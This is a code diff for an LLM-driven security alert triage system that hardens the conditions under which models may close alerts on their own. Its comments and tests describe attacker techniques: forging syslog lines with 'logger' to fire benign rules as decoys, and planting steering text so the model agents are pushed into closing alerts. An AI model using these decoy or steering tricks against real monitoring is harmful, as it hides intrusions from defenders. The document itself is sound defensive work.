others: List[Any], rule: Optional[D ) result.related_threats += int(judged) result.related_open_reviews += int(other.status in OPEN_REVIEW_STATUSES) - result.related_rule_repeats += int(quiet_rule_repeat(rule, other, judged_threat=judged)) + result.related_rule_repeats += int(quiet_rule_repeat( + rule, other, judged_threat=judged, max_likelihood=t.model_close_max_likelihood, + min_certainty=t.model_close_min_certainty, + )) def frequency_level(alerts_per_hour: float) -> str: @@ -294,7 +340,8 @@ async def _run( return result others = await self.related_alerts(ctx, related) - tally_related(result, [other for _, _, other in others], detection_rule(alert)) + thresholds = RoutingThresholds.from_settings(ctx.settings.routing) + tally_related(result, [other for _, _, other in others], detection_rule(alert), thresholds=thresholds) digests = [self.related_digest(*found) for found in others[:MAX_DIGESTS]] llm: LLMResult[CorrelationAssessment] = await self.call_llm( @@ -318,7 +365,7 @@ async def _run( result.llm_skipped = llm.skipped result.llm_refusal = agent_refusal(llm, self.name) if llm.refused: - grey = RoutingThresholds.from_settings(ctx.settings.routing).correlation_grey_zone_min + grey = thresholds.correlation_grey_zone_min result.confidence = max(result.confidence, grey) result.notes.append("correlation: model refused; confidence held in the grey zone for review") if llm.value is not None: diff --git a/src/lg_sotf/agents/triage/base.py b/src/lg_sotf/agents/triage/base.py index 2d3556ed..13af33c4 100644 --- a/src/lg_sotf/agents/triage/base.py +++ b/src/lg_sotf/agents/triage/base.py @@ -91,6 +91,7 @@ from lg_sotf.domain.routing import RoutingThresholds from lg_sotf.llm.registry import register_prompt from lg_sotf.llm.schema import clipped_list, clipped_str, lenient_literal +from lg_sotf.models.alert import model_view if TYPE_CHECKING: from lg_sotf.core.state import TriageDigest @@ -550,7 +551,7 @@ def __init__(self, config: Optional[Mapping[str, Any]] = None, **kwargs: Any) -> @staticmethod def prompt_data(alert: Mapping[str, Any], rule_fp: List[str], rule_tp: List[str], rule_score: int) -> Dict[str, Any]: return { - "alert": dict(alert), + "alert": model_view(alert), "rule_assessment": {"confidence": rule_score, "fp_signals": rule_fp, "tp_signals": rule_tp}, } diff --git a/src/lg_sotf/domain/closure.py b/src/lg_sotf/domain/closure.py index 8f5560e6..50a70cdd 100644 --- a/src/lg_sotf/domain/closure.py +++ b/src/lg_sotf/domain/closure.py @@ -27,15 +27,23 @@ * no campaign in progress (FIX-2): every related alert of the correlation window is the same detection rule repeating as noise (``related_rule_repeats`` equals ``related_count``): the same vendor rule - id as this alert, judged benign by the fast tier, judged a threat by no - model, not a never-close class and not a response plan awaiting approval. - A related alert of a different rule on the same entities is a possible - kill chain and blocks, whatever its status. A burst of one rule judged - benign is repetition, not a campaign. The set must be complete - (``related_complete``): when the correlation query hit its limit or a - related alert was hidden for a blind audit, the close is blocked. A digest - without these fields (unknown) blocks too, so an attack is never closed - alert by alert; + id as this alert (known for Wazuh only: for other vendors every related + alert blocks), judged a threat by no model, not a response plan awaiting + approval, and either closed as benign (by an analyst, approved evidence or + a model-led close) or itself a model-led close candidate: its own + conditions here, apart from the tier and this one, all hold (no steering + text, no recent true positive, both model tiers benign at the thresholds, + no never-close class). A sibling still waiting for its deep verdict + blocks. A related alert of a different rule on the same entities is a + possible kill chain and blocks, whatever its status. A burst of one rule + that passes these tests is repetition, not a campaign. The set must be + complete (``related_complete``): when the correlation query hit its + limit (``agents.correlation.max_correlations``: 10 by default, 20 at + most; a complete set holds fewer, so a close stands behind at most 9 + repeats in the 60-minute window by default, 19 at most) or a related alert was hidden for a blind audit, the close + is blocked. A digest from before FIX-2 with related alerts blocks (its + repeat count is unknown); one with none (``related_count`` 0) has + nothing to count and does not; * both model tiers say benign: the fast tier's assessment is ``benign`` with a threat likelihood at most ``routing.model_close_max_likelihood`` (default 8), and the deep tier's verdict is ``benign`` with a certainty of @@ -65,7 +73,7 @@ from pydantic import BaseModel, ConfigDict, ValidationError from lg_sotf.domain.benign_evidence import INJECTION_SIGNAL -from lg_sotf.domain.noise_families import NoiseFamily, noise_family +from lg_sotf.domain.noise_families import NoiseFamily, noise_family, vendor_never_close_class __all__ = [ "AUTONOMY_TIERS", @@ -114,6 +122,8 @@ "T1555": "credential_access", # credentials from password stores "T1556": "credential_access", # modify authentication process "T1558": "credential_access", # Kerberos tickets (Kerberoasting) + # Account access removal: Wazuh maps its Windows logon-failure rules (60122-60130) and others to it (FIX-2 review). + "T1531": "credential_access", "T1070": "log_clearing", # indicator removal: clearing event logs and shell history "T1562": "tampering", # impair defenses: disabling security tools and logging "T1485": "ransomware", # data destruction @@ -168,7 +178,12 @@ def _mitre(alert: Mapping[str, Any], key: str) -> List[str]: def never_close_class(alert: Any) -> Optional[str]: - """The never-close class the detection rule's ATT&CK mapping puts the alert in, or ``None``. + """The never-close class the detection rule's ATT&CK mapping (or the vendor rule itself) puts the alert in, or + ``None``. + + A Wazuh rule in an authentication-failure group, or one of a few listed + rule ids, is credential access whatever its ATT&CK id + (:func:`lg_sotf.domain.noise_families.vendor_never_close_class`). An alert the rule maps to no tactic and no technique is :data:`UNMAPPED`: nothing shows it is outside the never-close classes, so it is treated as @@ -185,6 +200,9 @@ def never_close_class(alert: Any) -> Optional[str]: found = NEVER_CLOSE_TECHNIQUES.get(technique.upper().split(".", 1)[0]) if found is not None: return found + vendor = vendor_never_close_class(alert) + if vendor is not None: + return vendor return None if tactics or techniques else UNMAPPED diff --git a/src/lg_sotf/domain/noise_families.py b/src/lg_sotf/domain/noise_families.py index 383e3753..4ef56476 100644 --- a/src/lg_sotf/domain/noise_families.py +++ b/src/lg_sotf/domain/noise_families.py @@ -21,14 +21,32 @@ description can interpolate event fields (``$(win.eventdata...)``), and a custom rule can copy a stock description word for word. * The id is read from the vendor's own event (``raw.rule.id``), and only - when the canonical rule name is the one the Wazuh normalizer writes - (``": "``). A canonical alert without its raw event - (dropped by the state size cap) has no detection rule, so it stays - ``unmapped`` (fail closed). -* The actor can still choose **which** rule fires (writing a ``dpkg.log`` - line fires 2902). Each entry therefore records the abuse it could hide, - and every family with a known abuse has a test that a malicious or - suspicious model verdict still escalates it. + when the Wazuh normalizer built the alert: the ingestion service records + the format on the alert (``normalizer``, never read from the event) and + the canonical rule name is the one that normalizer writes + (``": "``). An alert from another format (a canonical + or generic webhook push that copies a Wazuh document, an older alert + stored before the format was recorded) or without its raw event (dropped + by the state size cap) has no detection rule, so it stays ``unmapped`` + (fail closed). +* The actor can still choose **which** rule fires, often without + privileges: any local user can write a syslog line (``logger -t yum + Installed: x`` fires 2932) and a per-user MSI install produces 60612 + without admin rights. Each entry therefore records the abuse it could + hide, and every family with a known abuse has a test that a malicious or + suspicious model verdict still escalates it. A forged repeat can also be + a decoy, or flood the related set: past the correlation limit the set is + incomplete and the close fails closed. + +The module also holds the vendor facts that put an alert **into** a +never-close class whatever its ATT&CK mapping (:func:`vendor_never_close_class`): +Wazuh maps many authentication-failure rules outside credential access +(Windows logon failures 60122-60130 to T1531, a failed logon from a malicious +IP to T1078, "possible replay attack" to T1550), so the rule's own groups +(``authentication_failed``, ``authentication_failures``, ``invalid_login``, +``login_denied``) and a short list of rule ids without those groups make +it credential access. These checks only ever block a close, so they read +the raw event whatever format built the alert. Changing the catalogue is a reviewed change to the decision policy: bump :data:`CATALOGUE_VERSION`, justify the entry from the vendor ruleset's @@ -43,17 +61,20 @@ from typing import Any, Dict, FrozenSet, Mapping, NamedTuple, Optional, Tuple __all__ = [ + "AUTH_FAILURE_GROUPS", "CATALOGUE", + "NEVER_CLOSE_RULE_IDS", "CATALOGUE_VERSION", "WAZUH", "DetectionRule", "NoiseFamily", "detection_rule", "noise_family", + "vendor_never_close_class", ] #: Bumped on every reviewed change to :data:`CATALOGUE`. -CATALOGUE_VERSION = "2026-11-09.1" +CATALOGUE_VERSION = "2026-11-09.2" WAZUH = "wazuh" _RULE_ID = re.compile(r"^[0-9]{1,7}$") @@ -94,7 +115,8 @@ class NoiseFamily: ), could_hide=( "A malicious or backdoored package installed by an actor with root (T1546.016 installer packages, " - "T1195 supply chain); the actor can also write a dpkg.log line to fire the rule." + "T1195 supply chain). Any local user can also fire these rules with a forged syslog line (" + "`logger -t yum`, and likely dpkg lines through syslog): a decoy, or a flood of repeats." ), abuse_known=True, ), @@ -110,7 +132,7 @@ class NoiseFamily: ), could_hide=( "Software install as execution: a malicious MSI run through msiexec (T1218.007) or a remote-access " - "tool installed for persistence (T1219)." + "tool installed for persistence (T1219). A per-user MSI install fires the rule without admin rights." ), abuse_known=True, ), @@ -137,9 +159,10 @@ class NoiseFamily: rationale=( "A single 4xx answer in a web access log: broken links, crawlers and expired sessions produce these " "constantly. Attack signatures in the same access log (SQL injection, XSS, common web attacks, an " - "attack answered with 200) and repeated 4xx from one source (31151, level 10, high) are separate, " - "mapped rules and are not catalogued. 5xx answers (31120-31123) are left out: a server error can be " - "the side effect of an exploit attempt." + "attack answered with 200) and repeated 4xx from one source (31151, level 10, which maps to medium) " + "are separate rules and are not catalogued; as a different rule on the same source, 31151 blocks a " + "model close of the 4xx repeats around it. 5xx answers (31120-31123) are left out: a server error can " + "be the side effect of an exploit attempt." ), could_hide=( "Probing or a failed exploit attempt that matched no attack signature (T1595 active scanning, T1190)." @@ -153,37 +176,75 @@ class NoiseFamily: } -def _wazuh_rule(alert: Mapping[str, Any]) -> Optional[DetectionRule]: +#: Wazuh rule groups of authentication failures: credential access whatever ATT&CK id the rule carries. +AUTH_FAILURE_GROUPS: FrozenSet[str] = frozenset( + {"authentication_failed", "authentication_failures", "invalid_login", "login_denied"} +) +#: Wazuh rules that report authentication failures without one of :data:`AUTH_FAILURE_GROUPS`. +NEVER_CLOSE_RULE_IDS: Mapping[str, str] = { + "6250": "credential_access", # Asterisk: multiple failed logins + "44733": "credential_access", # FortiAuthenticator: authentication failed +} +MAX_RULE_GROUPS = 50 + + +def _raw_rule(alert: Mapping[str, Any]) -> Optional[Mapping[str, Any]]: raw = alert.get("raw") rule = raw.get("rule") if isinstance(raw, Mapping) else None - if not isinstance(rule, Mapping): - return None + return rule if isinstance(rule, Mapping) else None + + +def _rule_id(rule: Mapping[str, Any]) -> Optional[str]: rule_id = rule.get("id") if isinstance(rule_id, int) and not isinstance(rule_id, bool): rule_id = str(rule_id) if not isinstance(rule_id, str) or not _RULE_ID.match(rule_id.strip()): return None - rule_id = rule_id.strip() - # What the Wazuh normalizer writes (``": "``): the canonical alert was built from this event. - rule_name = alert.get("rule_name") - if not isinstance(rule_name, str) or not rule_name.startswith(f"{rule_id}: "): - return None - return DetectionRule(WAZUH, rule_id) + return rule_id.strip() def detection_rule(alert: Any) -> Optional[DetectionRule]: """The vendor detection rule of a canonical alert with its raw event, or ``None`` when it is not known. Only Wazuh is recognised today: the rule id of the event (``raw.rule.id``, - digits only), when the canonical rule name is the Wazuh normalizer's - ``": "``. Titles and descriptions are never read. + digits only), when the Wazuh normalizer built the alert (``normalizer`` + is ``wazuh``, recorded by the ingestion service) and the canonical rule + name is that normalizer's ``": "``. Titles and + descriptions are never read. """ - if not isinstance(alert, Mapping): + if not isinstance(alert, Mapping) or alert.get("normalizer") != WAZUH: + return None + rule = _raw_rule(alert) + rule_id = _rule_id(rule) if rule is not None else None + rule_name = alert.get("rule_name") + if rule_id is None or not isinstance(rule_name, str) or not rule_name.startswith(f"{rule_id}: "): return None - return _wazuh_rule(alert) + return DetectionRule(WAZUH, rule_id) def noise_family(alert: Any) -> Optional[NoiseFamily]: """The catalogued noise family of the alert's detection rule, or ``None``.""" rule = detection_rule(alert) return None if rule is None else _INDEX.get(rule) + + +def vendor_never_close_class(alert: Any) -> Optional[str]: + """The never-close class the vendor's own rule puts the alert in, whatever its ATT&CK mapping, or ``None``. + + ``credential_access`` for a Wazuh rule in an authentication-failure group + (:data:`AUTH_FAILURE_GROUPS`) or in :data:`NEVER_CLOSE_RULE_IDS`. These + checks only block, so they read the raw event whatever format built the + alert. When the state size cap dropped the raw event they cannot run and + the alert falls back to its ATT&CK mapping alone (an unmapped one stays + ``unmapped``, which blocks too). + """ + rule = _raw_rule(alert) if isinstance(alert, Mapping) else None + if rule is None: + return None + groups = rule.get("groups") + if isinstance(groups, list): + names = {g.strip().lower() for g in groups[:MAX_RULE_GROUPS] if isinstance(g, str)} + if names & AUTH_FAILURE_GROUPS: + return "credential_access" + rule_id = _rule_id(rule) + return NEVER_CLOSE_RULE_IDS.get(rule_id) if rule_id is not None else None diff --git a/src/lg_sotf/ingestion/service.py b/src/lg_sotf/ingestion/service.py index 6d653e72..c4b497ad 100644 --- a/src/lg_sotf/ingestion/service.py +++ b/src/lg_sotf/ingestion/service.py @@ -112,6 +112,8 @@ FLAG_RAW_TRUNCATED = "raw_truncated" FLAG_REDACTED = "secrets_redacted" FLAG_SAMPLE = "sample" +#: What ``CanonicalAlert.normalizer`` records for an alert a model normalized (the LLM fallback). +LLM_NORMALIZER = "llm" MAX_CACHED_CONNECTORS = 512 MAX_ERROR_CHARS = 500 API_SOURCE_ID = "api" @@ -533,9 +535,11 @@ def _normalize_event( return _Outcome(reason=str(exc)) except NormalizationError as exc: return _Outcome(reason=str(exc)) - return _Outcome(prepared=self._finish(index, alert, redacted, redactions)) + return _Outcome(prepared=self._finish(index, alert, redacted, redactions, normalizer.name)) - def _finish(self, index: int, alert: CanonicalAlert, redacted: Mapping[str, Any], redactions: int) -> PreparedEvent: + def _finish( + self, index: int, alert: CanonicalAlert, redacted: Mapping[str, Any], redactions: int, normalizer: str + ) -> PreparedEvent: raw = cap_mapping(redacted, self._options.max_raw_bytes) flags = list(alert.flags) if TRUNCATED_MARKER in raw and TRUNCATED_MARKER not in redacted: @@ -544,7 +548,8 @@ def _finish(self, index: int, alert: CanonicalAlert, redacted: Mapping[str, Any] flags.append(FLAG_REDACTED) if alert.source_id == SAMPLE_SOURCE_ID: flags.append(FLAG_SAMPLE) - alert = alert.model_copy(update={"raw": raw, "flags": flags}) + # The format that built the alert, never the event's word for it (FIX-2: the noise catalogue reads it). + alert = alert.model_copy(update={"raw": raw, "flags": flags, "normalizer": normalizer}) row = NewAlert( source_id=alert.source_id, source_alert_id=alert.source_alert_id, @@ -571,7 +576,7 @@ async def _llm_prepare( alert = await llm_normalize( redacted, ctx, settings=self._settings, tenant_id=tenant_id, budget=self._budget, budget_limit=budget_limit ) - prepared = self._finish(index, alert, redacted, redactions) + prepared = self._finish(index, alert, redacted, redactions, LLM_NORMALIZER) except asyncio.CancelledError: raise except LLMBudgetExceeded: diff --git a/src/lg_sotf/invariants/registry.py b/src/lg_sotf/invariants/registry.py index 087664de..d4f2924d 100644 --- a/src/lg_sotf/invariants/registry.py +++ b/src/lg_sotf/invariants/registry.py @@ -115,11 +115,11 @@ class Invariant: "class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is " "auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the " "never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, " - "persistence through attacker-named objects, unmapped alerts unless the vendor rule id is in the reviewed " - "noise catalogue, never matched on text), steering text, entities with a recent true positive or a " - "campaign in progress (anything but the same detection rule repeating as benign noise over a complete " - "related set); such a close is marked model_closed for audit. With the tier off, the default, a model " - "never closes an alert alone." + "persistence through attacker-named objects, authentication failures by vendor rule group, unmapped " + "alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering " + "text, entities with a recent true positive or a campaign in progress (anything but the same detection " + "rule repeating as benign noise over a complete related set); such a close is marked model_closed for " + "audit. With the tier off, the default, a model never closes an alert alone." ), epic="AI-E6", threats=("TM-WRK-1", "TM-WRK-2"), @@ -150,6 +150,9 @@ class Invariant: "tests/unit/agents/test_campaign_split.py::test_a_different_detection_on_the_same_host_is_a_possible_kill_chain", "tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when", "tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed", + "tests/unit/agents/test_campaign_split.py::test_review_m1_a_steering_msi_does_not_vouch_for_the_next", + "tests/unit/domain/test_noise_families.py::" + "test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping", "tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close", "tests/integration/engine/test_model_closure.py::" "test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not", diff --git a/src/lg_sotf/models/alert.py b/src/lg_sotf/models/alert.py index 673b479b..e4d5fed8 100644 --- a/src/lg_sotf/models/alert.py +++ b/src/lg_sotf/models/alert.py @@ -234,6 +234,15 @@ def _cap(cls, v: List[str]) -> List[str]: return _dedup_capped(v, MAX_MITRE_CHARS, MAX_MITRE_ITEMS) +#: Canonical alert keys that are platform bookkeeping, not alert content: left out of what a model reads. +MODEL_HIDDEN_ALERT_KEYS = frozenset({"normalizer"}) + + +def model_view(alert: Mapping[str, Any]) -> Dict[str, Any]: + """The alert as a model reads it: without :data:`MODEL_HIDDEN_ALERT_KEYS`.""" + return {k: v for k, v in alert.items() if k not in MODEL_HIDDEN_ALERT_KEYS} + + class CanonicalAlert(BaseModel): """A normalized alert. ``raw`` is the original (redacted, size-capped) event.""" @@ -259,6 +268,10 @@ class CanonicalAlert(BaseModel): # URLs, attachment hashes, reporter), written by the email normalizer from the platform's own # MIME parse. Other normalizers never set it, so it cannot be supplied by a pushed event. email: Optional[Dict[str, Any]] = None + # The format whose normalizer built this alert (``wazuh``, ``canonical``, ``webhook``, ``llm``...), set by the + # ingestion service after normalizing, never read from the event (FIX-2: the noise catalogue trusts a vendor rule + # id only from that vendor's normalizer). Kept out of model prompts (:data:`MODEL_HIDDEN_ALERT_KEYS`). + normalizer: Optional[str] = Field(default=None, max_length=32) @property def severity_id(self) -> int: diff --git a/tests/integration/engine/test_model_closure.py b/tests/integration/engine/test_model_closure.py index 86d730bd..249effd6 100644 --- a/tests/integration/engine/test_model_closure.py +++ b/tests/integration/engine/test_model_closure.py @@ -83,7 +83,7 @@ async def test_the_tenant_tier_decides_whether_the_models_close(engine: Workflow async def wazuh_alert(repos: Repositories, name: str, rule_id: str, description: str, **normalized: Any) -> str: """A Wazuh alert on host db-07 as the Wazuh normalizer stores it: the rule id in the raw event and the rule name.""" fields: Dict[str, Any] = { - "title": ROUTINE, "rule_name": f"{rule_id}: {description}", "description": ROUTINE, + "title": ROUTINE, "rule_name": f"{rule_id}: {description}", "description": ROUTINE, "normalizer": "wazuh", "entities": {"hosts": ["db-07"]}, "mitre": {"tactics": [], "techniques": []}, **normalized, } raw = {"rule": {"id": rule_id, "level": 7, "description": description}, "agent": {"name": "db-07"}} diff --git a/tests/integration/ingestion/test_ingest.py b/tests/integration/ingestion/test_ingest.py index 881ef3a1..18805641 100644 --- a/tests/integration/ingestion/test_ingest.py +++ b/tests/integration/ingestion/test_ingest.py @@ -10,6 +10,7 @@ from lg_sotf.db.repos import NewAlert, Repositories from lg_sotf.db.repos.alerts import AlertsRepo +from lg_sotf.domain.noise_families import detection_rule from lg_sotf.ingestion.errors import SourceDisabled, SourceNotPushable from lg_sotf.ingestion.fingerprint import compute_fingerprint from lg_sotf.ingestion.service import IngestionService, api_source_id @@ -158,10 +159,12 @@ async def test_registered_sources_choose_their_normalizer( assert len(hook.inserted) == 2 stored = await repos.alerts.get(TENANT_A, hook.inserted[0].alert_id) assert stored.severity == "high" and stored.normalized["source_type"] == "webhook" + assert stored.normalized["normalizer"] == "webhook" # FIX-2: the format that built it, from the source gd = await service.ingest(TENANT_A, "gd-1", vendor_events("guardduty_findings")) assert len(gd.inserted) == 2 finding = await repos.alerts.get(TENANT_A, gd.inserted[1].alert_id) + assert finding.normalized["normalizer"] == "guardduty" assert "AKIAIOSFODNN7EXAMPLE" not in json.dumps(finding.raw) with pytest.raises(SourceDisabled): @@ -192,6 +195,7 @@ async def test_vendor_fixtures_ingest_end_to_end_through_a_webhook( assert len(result.inserted) == expected, result.rejected stored = await repos.alerts.get(TENANT_A, result.inserted[0].alert_id) assert stored.normalized["source_type"] == "webhook" + assert stored.normalized["normalizer"] == fmt # FIX-2: the noise catalogue trusts a Wazuh rule id only from `wazuh` @pytest.mark.parametrize("source_type", ["qradar", "splunk", "sentinel", "crowdstrike", "wazuh", "file"]) @@ -226,7 +230,7 @@ async def test_llm_fallback_normalizes_unknown_events( on = await service_factory(llm_fallback=True).ingest(TENANT_A, "api", [unknown]) assert len(on.inserted) == 1, on.rejected stored = await repos.alerts.get(TENANT_A, on.inserted[0].alert_id) - assert "llm_normalized" in stored.normalized["flags"] + assert "llm_normalized" in stored.normalized["flags"] and stored.normalized["normalizer"] == "llm" assert "source_alert_id_from_hash" in stored.normalized["flags"] assert stored.severity in ("medium", "high", "critical") haystack = json.dumps(unknown).lower() @@ -379,3 +383,17 @@ async def test_llm_fallback_honours_the_tenant_token_budget( result = await service.ingest(TENANT_A, "api", [{"product": "AcmeEDR", "n": i} for i in range(5)]) assert model.calls == [] assert len(result.rejected) == 5 and all("budget" in r.reason for r in result.rejected) + + +async def test_a_pushed_event_cannot_claim_the_wazuh_normalizer( + repos: Repositories, service_factory: Callable[..., IngestionService] +) -> None: + """FIX-2: a canonical push that copies a Wazuh document, and says which normalizer built it, is recorded as + `canonical`: the noise catalogue never reads its rule id.""" + forged = {"id": "forged-1", "title": "New dpkg (Debian Package) installed.", "severity": "low", + "rule_name": "2902: New dpkg (Debian Package) installed.", "normalizer": "wazuh", + "rule": {"id": "2902", "level": 7, "description": "New dpkg (Debian Package) installed."}} + result = await service_factory().ingest(TENANT_A, "api", [forged]) + stored = await repos.alerts.get(TENANT_A, result.inserted[0].alert_id) + assert stored.normalized["normalizer"] == "canonical" + assert detection_rule({**stored.normalized, "raw": stored.raw}) is None diff --git a/tests/unit/agents/test_campaign_split.py b/tests/unit/agents/test_campaign_split.py index 3c63e200..b169e8f0 100644 --- a/tests/unit/agents/test_campaign_split.py +++ b/tests/unit/agents/test_campaign_split.py @@ -25,12 +25,17 @@ T = RoutingThresholds() AUTO = "auto_full_audit" HOST = "web-01" -BENIGN_SUMMARY: Dict[str, Any] = {"triage": {"threat_assessment": "benign", "threat_likelihood": 3}, - "analysis": {"verdict": "benign", "certainty": 90}} +BENIGN_TRIAGE: Dict[str, Any] = {"threat_assessment": "benign", "threat_likelihood": 3, "llm_used": True, + "rule_fp": [], "rule_tp": []} +BENIGN_ANALYSIS: Dict[str, Any] = {"verdict": "benign", "certainty": 90, "threat_score": 8, "llm_used": True, + "rule_evidence": [], "rule_corroborated": False} +#: What a sibling the models could close themselves has stored: both tiers benign within the thresholds. +BENIGN_SUMMARY: Dict[str, Any] = {"triage": BENIGN_TRIAGE, "analysis": BENIGN_ANALYSIS} RULES = { "2902": "New dpkg (Debian Package) installed.", "5402": "Successful sudo to ROOT executed.", "80792": "Audit: Command: /usr/bin/curl.", + "60612": "Application installed Product: Helper -- Installation completed successfully.", } @@ -38,17 +43,18 @@ def wazuh(rule_id: str, *, mitre: Optional[Dict[str, List[str]]] = None) -> Dict """A Wazuh alert on ``HOST`` as the correlation agent sees it: canonical fields and the raw event.""" description = RULES[rule_id] return { - "title": description, "severity": "medium", "rule_name": f"{rule_id}: {description}", + "title": description, "severity": "medium", "rule_name": f"{rule_id}: {description}", "normalizer": "wazuh", "entities": {"hosts": [HOST]}, "mitre": mitre or {"tactics": [], "techniques": []}, "raw": {"rule": {"id": rule_id, "level": 7, "description": description}, "agent": {"name": HOST}}, } def stored(alert_id: str, rule_id: str, *, status: str = "waiting_human", summary: Optional[Dict[str, Any]] = None, + severity: str = "medium", disposition: Optional[str] = None, mitre: Optional[Dict[str, List[str]]] = None) -> StoredAlert: document = wazuh(rule_id, mitre=mitre) raw = document.pop("raw") - return StoredAlert(id=alert_id, title=document["title"], status=status, disposition=disposition, + return StoredAlert(id=alert_id, title=document["title"], severity=severity, status=status, disposition=disposition, normalized=document, raw=raw, summary=BENIGN_SUMMARY if summary is None else summary) @@ -107,16 +113,35 @@ async def test_a_different_detection_on_the_same_host_is_a_possible_kill_chain( @pytest.mark.parametrize( ("why", "repeat"), [ - ("a model judged it malicious", {"summary": {**BENIGN_SUMMARY, "analysis": {"verdict": "malicious"}}}), + ("a model judged it malicious", + {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "verdict": "malicious"}}}), ("the fast tier judged it suspicious", - {"summary": {**BENIGN_SUMMARY, "triage": {"threat_assessment": "suspicious"}}}), + {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_assessment": "suspicious"}}}), ("the fast tier judged it a likely threat", - {"summary": {**BENIGN_SUMMARY, "triage": {"threat_assessment": "likely_threat"}}}), - ("the deep tier could not tell", {"summary": {**BENIGN_SUMMARY, "analysis": {"verdict": "inconclusive"}}}), + {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_assessment": "likely_threat"}}}), + ("the deep tier could not tell", + {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "verdict": "inconclusive"}}}), ("no model judged it yet (still in flight)", {"status": "processing", "summary": {}}), - ("only the rules judged it", {"summary": {"triage": {"llm_used": False}}}), + ("only the rules judged it", {"summary": {"triage": {**BENIGN_TRIAGE, "llm_used": False}}}), ("it is a response plan awaiting approval", {"status": "waiting_approval"}), ("it is in a never-close class", {"mitre": {"tactics": ["Credential Access"], "techniques": ["T1110"]}}), + ("it is high severity", {"severity": "high"}), + # Review of #345 (M1): what FIX-1 blocked on in the sibling itself blocks it as a repeat. + ("(a) it carries steering text", + {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "rule_tp": ["prompt_injection_suspected"]}}}), + ("(b) rule evidence corroborates a threat", + {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "rule_corroborated": True}}}), + ("(b) its entities have analyst-confirmed malicious history", + {"summary": {**BENIGN_SUMMARY, + "analysis": {**BENIGN_ANALYSIS, "rule_evidence": ["prior_malicious_history"]}}}), + ("(b) one of its own related alerts closed as malicious", + {"summary": {**BENIGN_SUMMARY, "correlation": {"related_dispositions": {"malicious": 1}}}}), + ("(c) the fast tier said benign at likelihood 40", + {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_likelihood": 40}}}), + ("(c) the deep tier said benign at certainty 60", + {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "certainty": 60}}}), + ("(d) it is still in flight without a deep verdict", + {"status": "processing", "summary": {"triage": BENIGN_TRIAGE}}), ], ) async def test_a_same_rule_alert_still_counts_against_closing_when( @@ -152,8 +177,12 @@ async def test_an_unknown_rule_on_either_side_is_never_a_repeat(make_settings: C no_raw.raw = {} renamed = stored("r1", "2902") renamed.normalized = {**renamed.normalized, "rule_name": "New dpkg (Debian Package) installed."} - result = await correlate(settings, [no_raw, renamed]) - assert (result.related_count, result.related_rule_repeats) == (2, 0) and decide(result).route == "escalate" + pushed = stored("r2", "2902") # a canonical push that copies a Wazuh document: not the Wazuh normalizer + pushed.normalized = {**pushed.normalized, "normalizer": "canonical"} + legacy = stored("r3", "2902") # stored before the format was recorded + legacy.normalized = {k: v for k, v in legacy.normalized.items() if k != "normalizer"} + result = await correlate(settings, [no_raw, renamed, pushed, legacy]) + assert (result.related_count, result.related_rule_repeats) == (4, 0) and decide(result).route == "escalate" agent = CorrelationAgent(settings=settings, config={"enable_llm_correlation": False}) others = [stored("r0", "2902")] @@ -173,3 +202,24 @@ async def test_the_new_counts_are_in_the_digest_but_never_in_the_correlation_pro assert digest["related_rule_repeats"] == 1 and digest["related_complete"] is True view = CorrelationAgent.alert_view(wazuh("2902")) assert "raw" not in view and "related_rule_repeats" not in str(view) + + +async def test_a_sibling_closed_as_benign_is_a_quiet_repeat(make_settings: Callable[..., Settings]) -> None: + """An analyst (or approved evidence) who closed a sibling as benign looked at it: it counts as a repeat even when + its own model judgement would not have closed it. Closed as malicious, it is a recent true positive instead.""" + steering = {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "rule_tp": ["prompt_injection_suspected"]}} + looked_at = stored("r0", "2902", status="closed", disposition="benign", summary=steering) + result = await correlate(make_settings(), [looked_at, stored("r1", "2902")]) + assert (result.related_count, result.related_rule_repeats) == (2, 2) and decide(result).code == MODEL_CLOSED + bad = stored("r0", "2902", status="closed", disposition="malicious") + result = await correlate(make_settings(), [bad]) + assert result.related_rule_repeats == 1 and decide(result).route == "escalate" # recent true positive + + +async def test_review_m1_a_steering_msi_does_not_vouch_for_the_next(make_settings: Callable[..., Settings]) -> None: + """Review of #345 (M1a): MSI install #1 carries steering text and waits for an analyst; a clean MSI #2 on the same + host is not closed on the strength of #1 being the same rule.""" + steering = {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "rule_tp": ["prompt_injection_suspected"]}} + result = await correlate(make_settings(), [stored("msi1", "60612", summary=steering)], rule_id="60612") + assert (result.related_count, result.related_rule_repeats) == (1, 0) + assert decide(result, "60612").route == "escalate" diff --git a/tests/unit/domain/test_noise_families.py b/tests/unit/domain/test_noise_families.py index bcd4cc2b..adca2ae3 100644 --- a/tests/unit/domain/test_noise_families.py +++ b/tests/unit/domain/test_noise_families.py @@ -10,7 +10,7 @@ import copy import json from datetime import UTC, datetime -from typing import Any, Dict, Optional +from typing import Any, Dict, List, Optional import pytest @@ -18,6 +18,7 @@ from lg_sotf.domain import closure, routing from lg_sotf.domain.closure import MODEL_CLOSED, UNMAPPED, model_close_blockers, model_close_class, never_close_class from lg_sotf.domain.noise_families import ( + AUTH_FAILURE_GROUPS, CATALOGUE, CATALOGUE_VERSION, WAZUH, @@ -36,8 +37,10 @@ def wazuh_event(rule_id: Any, description: str, *, level: int = 7, mitre: Optional[Dict[str, Any]] = None, - full_log: str = "2026-11-09 10:00:00 status installed htop:amd64 3.3.0-4") -> Dict[str, Any]: - rule: Dict[str, Any] = {"id": rule_id, 